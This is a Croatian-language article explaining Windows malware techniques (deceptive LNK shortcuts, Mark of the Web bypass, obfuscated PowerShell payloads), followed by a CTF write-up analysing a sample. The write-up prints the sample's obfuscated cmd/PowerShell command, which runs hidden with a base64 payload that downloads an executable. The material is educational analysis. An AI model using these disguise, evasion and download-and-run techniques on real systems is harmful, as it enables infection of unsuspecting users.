Malware tehnike (Windows)
Ovaj članak se fokusira na tehnike koje koriste zloćudni programi (eng. Malware) koji ciljaju Windows operacijski sustav. Bit će opisane tehnike korištenja LNK datoteka, zaobilazak MOTW-a i korištenje windows PowerShella za izvršavanje malware payloada. Nakon toga će biti napisan writeup zadatka s Hacknite platforme – Link ili Zelda?.
Korištenje LNK datoteka
Na Windows operacijskom sustavu postoje LNK datoteke s extenzijom .lnk koje se također zovu i prečice (eng. Shortcut). Većina datoteka za pokretanje executable programa (.exe) na Desktopu na Windowsu su zapravo samo LNK datoteke, prečice, na stvarni executable program koji se nalazi drugdje u datotečnom sustavu. Najčešća upotreba LNK datoteke je korištenje datoteke kao „pokazivač“ na drugu datoteku, najčešće neki program, da bi se korisniku olakšalo pokretanje ili otvaranje originalne datoteke, koja se često mora nalaziti na nepraktičnom djelu datotečnog sustava, a pokazivač na tu datoteku se onda može smjestiti na praktično mjesto, kao Desktop, da bi se korisnicima olakšalo pokretanje. Osim korištenja LNK datoteka kao prečice za pokretanje programa, postoje i dodatne funkcionalnosti prosljeđivanja argumenata programu koji se pokreće. Uzevši u obzir prethodno spomenutu funkcionalnost, ako se napravi prečica na windows command prompt (cmd.exe) ili windows PowerShell i kao argument za pokretanje programa se daju naredbe koje će PowerShell ili command prompt pokrenuti, LNK datoteka se može iskoristiti za pokretanje naredbi u ljusci (eng. Shellu), a time se mogu koristiti i za preuzimanje svakakvih resursa putem interneta (naredbama u shellu se mogu preuzimati resursi s interneta). Također LNK datoteke također mogu pokazivati na druge skrivene maliciozne datoteke, koje nisu vidljive žrtvi pri pregledavanju putem File Explorera, do kojih nije potrebna apsolutna putanja u LNK datoteci za pokretanje, nego se mogu pokrenuti putem relativne putanje, ako se skrivena maliciozna datoteka npr. nalazi u istom direktoriju ili nekom poddirektoriju. Također, Windows ne prikazuje ekstenziju „.lnk“ datoteka, tako da se maliciozna LNK datoteka može nazvati „Dokument.docx“, dok je zapravo puno ime datoteke koje nije prikazano „Dokument.docx.lnk“, ali „.lnk“ ekstenzija nije prikazana žrtvi. Zajedno sa promjenom ikone maliciozne LNK datoteke u uobičajenu ikonu „.docx“ dokumenata, maliciozna LNK datoteka žrtvi može izgledati kao normalan Microsoft Word dokument. Opisana funkcionalnost pokretanja naredbi s pomoću LNK datoteka, kao i činjenice da se LNK datotekama može promijeniti ikona i naslov kako bi se činila manje „sumnjiva“ žrtvama je razlog zašto se LNK datoteke koriste u različitim cyber napadima koji ciljaju Windows operacijski sustav. Kod malicioznih .LNK datoteka koje se koriste za napad, sve što je potrebno da napad bude pokrenut je jedan dvoklik ili pokretanje/otvaranje .LNK datoteke i žrtva je zaražena.
Zaobilazak MOTW-a
MOTW je kratica za „Mark of the web“, to je indikator kojeg Windows pridružuje svim datotekama i resursima koji su preuzeti preko interneta kako bi naznačio da su potencijalno opasni. Microsoft Defender onda može preko MOTW-a prepoznati da je određeni resurs potencijalno opasan i onda primijeniti dodatne sigurnosne provjere i analize tog resursa. Također pri pokretanju executable programa koji je skinut preko interneta i sadrži MOTW, Windows će korisniku izbaciti prozorčić koji će naglasiti da je program potencijalno opasan i nepoznatog porijekla, te pitati korisnika za dodatnu potvrdu pokretanja programa, osim u određenim slučajevima kad je program koji se pokreće „Signed Executable“ – dobro poznati i digitalno potpisan program. Također, pri dodatnoj analizi i oprezu operacijskog sustava s datotekama koje sadrže MOTW, važno je koje je ekstenzije ta datoteka preuzeta s interneta te ako spada pod jednu od opasnih ekstenzija onda je najviši stupanj opreza prema toj datoteci.
MOTW se postavlja na skinutoj datoteci tako da se datoteci preuzetoj s interneta dodaju metapodatci o porijeklu datoteke - Zone.Identifier Alternate Data Stream (ADS). Među tim metapodatcima su zapisani neki podatci o porijeklu resursa, kao URL i „ZoneId“ koji ima vrijednost 3 za „Internet zonu“ (ZoneId=3). Alternate Data Stream (ADS) je funkcionalnost NTFS datotečnog sustava, koji Windows koristi. ADS omogučuje da se za neku datoteku pohrane dodatni podatci, najčešće metapodatci, sigurnosne postavke, podatci potrebni za indeksiranje ili specifične postavke potrebne datoteci, no ti podatci se ne nalaze u originalnom skupu podataka datoteke, nego su samo vezane za nju u datotečnom sustavu. Kako bi se pročitali svi data streamovi datoteke koja se zove file.txt, može se iskorititi naredba :
get-item .\file.txt -Stream *
Metapodatci su naziv ADS-a datoteke file.txt i korištenjem dvotočke se specificira kojem ADS-u određene datoteke se pristupa. Podatci pohranjeni u ADS-u neće biti vidljivi korisnicima u npr. File exploreru, ali ih programi čitaju i pišu u njih. „Zone.Identifier“ je naziv ADS-a u kojeg Windows pohranjuje metapodatke o porijeklu datoteke, te kad je u Zone.Identifier-u zapisano da je porijeklo datoteke „Internet zona“, to se smatra MOTW-om, jer naznačuje da je Internet porijeklo datoteke. Pošto je ADS funkcionalnost samo NTFS datotečnog sustava, kada bi se datoteka s više ADS-ova preuzela na Linux operacijski sustav, koji npr. koristi ext4 datotečni sustav, ADS-ovi te datoteke više ne bi postojali. Radi ove činjenice, kontejnerske ekstenzije, kao „.iso“, „.img“, „.vhd“, „.vhdx“ i druge ne mogu sadržavati ADS-ove na fileovima koje sadrže, a time im se ne može ni dodati Mark of the Web. Zloćudne datoteke koriste ove ekstenzije kao jednu od tehnika zaobilaska Mark of the Weba. Osim ove postoje i druge tehnike, na primjer CVE-2020-1599 je prije omogućavao da se postojeću potpisanu PE (Portable Executable) datoteku doda zlonamjerni kod, a da potpis i dalje ostane važeći. Također 7-Zip do 2022. godine nije podržavao zapisivanje MotW-a na extractane datoteke, nakon čega je ta funkcionalnost dodana kao opcionalna, tako da se zlonamjerni program mogao prenijeti u kompresiranom 7-Zip formatu (.7z), gdje program nakon ekstrakcije ne bi sadržavao Mark of the Web. Ovo je i dalje „default“ ponašanje, ali se može odabrati opcija da se prenese MoTW. Zaobilaskom MOTW-a zlonamjerni akteri postižu da njihov zloćudni program ne bude označen kao opasan i time žrtvin Windows vrši manje provjera zloćudnog programa i smanjuje se mogućnost da će biti detektiran. Također, pri pokušaju žrtve da pokrene zloćudni program, ne pojavljuje se skočni prozor koji traži dodatnu potvrdu žrtve da program bude pokrenut uz naznačivanje da je program potencijalno opasan. Korištenje windows PowerShella za izvršavanje malware payloada Glavni razlozi zašto zlonamjerni programi koriste PowerShell su kako bi otežali detekciju zaštitih programa. Neki od tehnika kako se koristi PowerShell za ovu namjenu su odvajanje i enkripcija ili obfuskacija „najsumnjivijeg“ dijela zlonamjernog programa – odnosno payloada, kako bi preostali dio zlonamjernog programa koji neće biti enkriptiran i kojeg će zaštitni programi skenirati izgledao „legitimno“ i ne sadržavao operacije koje bi zaštitni programi detektirali kao zlonamjerne. Također, ovako se dio operacija koje zlonamjerni program izvršava može učitati ravno u memoriju korištenjem PowerShella, bez prethodnog zapisivanja na disk u binarnom formatu, što također otežava detekciju zaštitnim programima. Učitani payload malware koji se pokreće s pomoću PowerShella onda može koristiti postojeće već dostupne funkcionalnosti i pozive PowerShella, kako bi bio još manji i teži za detekciju.
PRIMJER -Zadatak s Hacknite platforme – Link ili Zelda?
Bojimo se da smo žrtva sofisticiranog kibernetičkog napada. Primili smo ovaj čudni privitak "SECRET.iso". Kad smo ga otvorili, na trenutak se otvorio crni prozor. Nakon toga jedan od naših važnih dokumenata je postao oštećen. Možeš li nam pomoći saznati o čemu se radi i oporaviti dokument? Flag je u formatu CTF2022[brojevi] Napomena: Preporučamo da se analiza zlonamjernih datoteka obavlja unutar virtualne mašine gdje ćete isključiti antivirus. Datoteka koju ćete preuzeti nije zapravo zlonamjerna, ali će ju antivirus detektirati kao takvu. flag_corrupted.txt SECRET.iso
Uz zadatak su dostupne i dvije datoteke flag_corrupted.txt i SECRET.iso. Prije preuzimanja zlonamjernih datoteka koje će se analizirati, bitno je postaviti ih u sigurno i izolirano okruženje, kao što je adekvatno podešena virtualna mašina. Za ovaj zadatak, preporučena je Windows virtualna mašina, ali je moguće zadatak riješit i koristeći Linux mašinu.
Nakon preuzimanja datoteka, može se uočiti da je ekstenzija datoteke SECRET .iso, što označava da je datoteka slika diska. Kako bi se mogao vidjeti sadržaj slike diska, sliku je prvo potrebno „mountati“, što se može napraviti desnim klikom na datoteku i odabirom opcije mount.
Nakon što je slika diska „mount-ana“, može se vidjeti sadržaj, koji je jedna LNK ili Shortcut datoteka naziva „tajno“. Desnim klikom na link i odabirom opcije properties, može se vidjeti da je atribut target neuobičajen, jer pokreće cmd.exe s određenim argumentima. Ovo je prikazano na slici 1.
Također se može uočiti da nakon argumenta explorer.exe, ima više praznih razmaka, nakon kojih opet slijedi ostatak naredbi, gdje se vidi PowerShell skripta sa base64 enkodiranim payloadom.
Vidljiv dio target argumenta je: C:\Windows\system32\cmd.exe /c explorer.exe & p^O^w^E^r^s^H^e^L^l.eXe -WindowStyle hidden -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAFIASQAgAGgAdAB0AHAAOgAvAC8AaABhAGMAawBuAGkAdABlAC4AaAByAC8AZ
No target je zapravo još veći od ovoga, samo nije cijeli prikazan u ovom prozorčiću. Kako bi se vidio cijeli payload, može se koristiti neki alat za analizu LNK datoteka kao što je https://ericzimmerman.github.io/#!index.md. Druga opcija je da se LNK datoteka kopira u neko Linux okruženje u kojem se onda može instalirati i koristiti alat lnkinfo koji se može pokrenuti naredbom
lnkinfo tajno.lnk
Pokretanjem ovog alata, ispisan je puni target argument LNK datoteke, kao i druge informacije. Ispis je prikazan na slici 2.
Kako bi se base64 enkodirani dio naredbe dekodirao, ima više načina, od kojih je jedan napisati jednostavnu PowerShell skriptu. Powershell skripta prvo dekodira base64 u byte array, koji onda dekodira u UTF-16LE (enkodiranje koje PowerShell koristi) plaintext. Ova skripta se može napisati ovako:
$base64String = "SQBuAHYAbwBrAGUALQBXAGUAYgBSAG0..…“ $decodedBytes = [Convert]::FromBase64String($base64String) $decodedText = [System.Text.Encoding]::Unicode.GetString($decodedBytes) Write-Output $decodedText
Pokretanjem ove skripte, vidjet će se da je enkodirani dio payloada bio link koji preuzima .exe file preko interneta. Prikazano na slici 3.
Sada se koristeći taj link može preuzeti .exe file.
https://platforma.hacknite.hr/files/35ac...ba58/EncryptFlag.exe
Nad preuzetim programom, pokretanjem naredbe
file EncryptFlag.exe
Vidi se ispis
EncryptFlag.exe: PE32+ executable (console) x86-64, for MS Windows, 6 sections
Koji govori da je format 64 – bitni Windows executable.
Pokretanjem naredbe strings
strings EncryptFlag.exe
Vidi se različite informacije o programu no ništa konkretno. Sljedeći korak može biti reverzno inženjerstvo programa koristeći neki od alata kao što su ghdira ili radare2. Također prije ovog koraka, program se može uploadati na VirusTotal, kako bi se izvršila dinamička analiza automatski i vidjeli se neki podatci o izvršavanju programa. Uploadom programa EncryptFlag.exe na VirusTotal, te odabirom karte „Behavior“ na slici 4. mogu se pronaći neke informacije o ponašanju programa za vrijeme izvršavanja.
Pregledom prikazanih informacija dobivenih dinamičkom analizom programa, mogu se pronaći dvije vrlo bitne informacije prikazane na slici 5.
Na slici se vidi kako je opisano da program EncryptFlag.exe koristi XOR enkripciju i kako šalje GET request na pastebin.
Dohvaćanjem pastebin stranice dostupne na linku, dobiva se kratak tekst prikazan na slici 6.
Uzevši u obzir naziv programa koji je „EncryptFlag“, informacije da koristi XOR enkodiranje unutar nekog djela izvršavanja, tekst koji preuzima s pastebin linka i kontekst iz teksta zadatka: „ Primili smo ovaj čudni privitak “SECRET.iso”. Kad smo ga otvorili, na trenutak se otvorio crni prozor.
Nakon toga jedan od naših važnih dokumenata je postao oštećen. „
Pretpostavka može biti da program koristeći tekst na pastebin linku kao ključ, koristi XOR enkripciju za enkodiranje datoteke flag_corrupted.txt. Ovo ponašanje se može dodatno potvrditi korištenjem Ghidre ili radare2 alata za postupak reverznog inženjerstva programa, koji je sada jednostavniji uz poznavanje konteksta i nekih ponašanja programa.
Može se pokušati napraviti dekripcija datoteke flag_corrupted.txt za pretpostavljeni postupak rada programa korištenjem alata CyberChef. Ubacivanjem datoteke flag_corrupted.txt kao input u CyberChef, odabirom opcije XOR i korištenjem teksta s pastebin linka kao ključ u UTF-8 formatu, uspješno se dešifrira datoteka flag_corrupted.txt i dobiva se rješenje zadatka prikazano na slici 7.
Izvori
LNK:
https://answers.microsoft.com/en-us/windows/forum/all/lnk-files/6329b56a-eb98-4f49-8d60-4d5fa77d0be6
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/
https://www.trendmicro.com/en_gb/research/17/e/rising-trend-attackers-using-lnk-files-download-malware.html
MOTW:
https://redcanary.com/threat-detection-report/techniques/mark-of-the-web-bypass/
https://www.outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/
https://jdhitsolutions.com/blog/scripting/8888/friday-fun-with-powershell-and-alternate-data-streams/
https://blog.virustotal.com/2022/01/monitoring-malware-abusing-cve-2020-1599.html
https://www.bleepingcomputer.com/news/microsoft/7-zip-now-supports-windows-mark-of-the-web-security-feature/
PowerShell:
https://www.varonis.com/blog/fileless-malware
https://www.cybereason.com/blog/fileless-malware-powershell
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/tracking-detecting-and-thwarting-powershell-based-malware-and-attacks
https://securityintelligence.com/articles/all-about-powershell-attacks/
https://redcanary.com/threat-detection-report/techniques/powershell/
zadatak
https://montysecurity.medium.com/evasion-by-annoyance-when-lnk-payloads-are-too-long-9bd07ac38f6d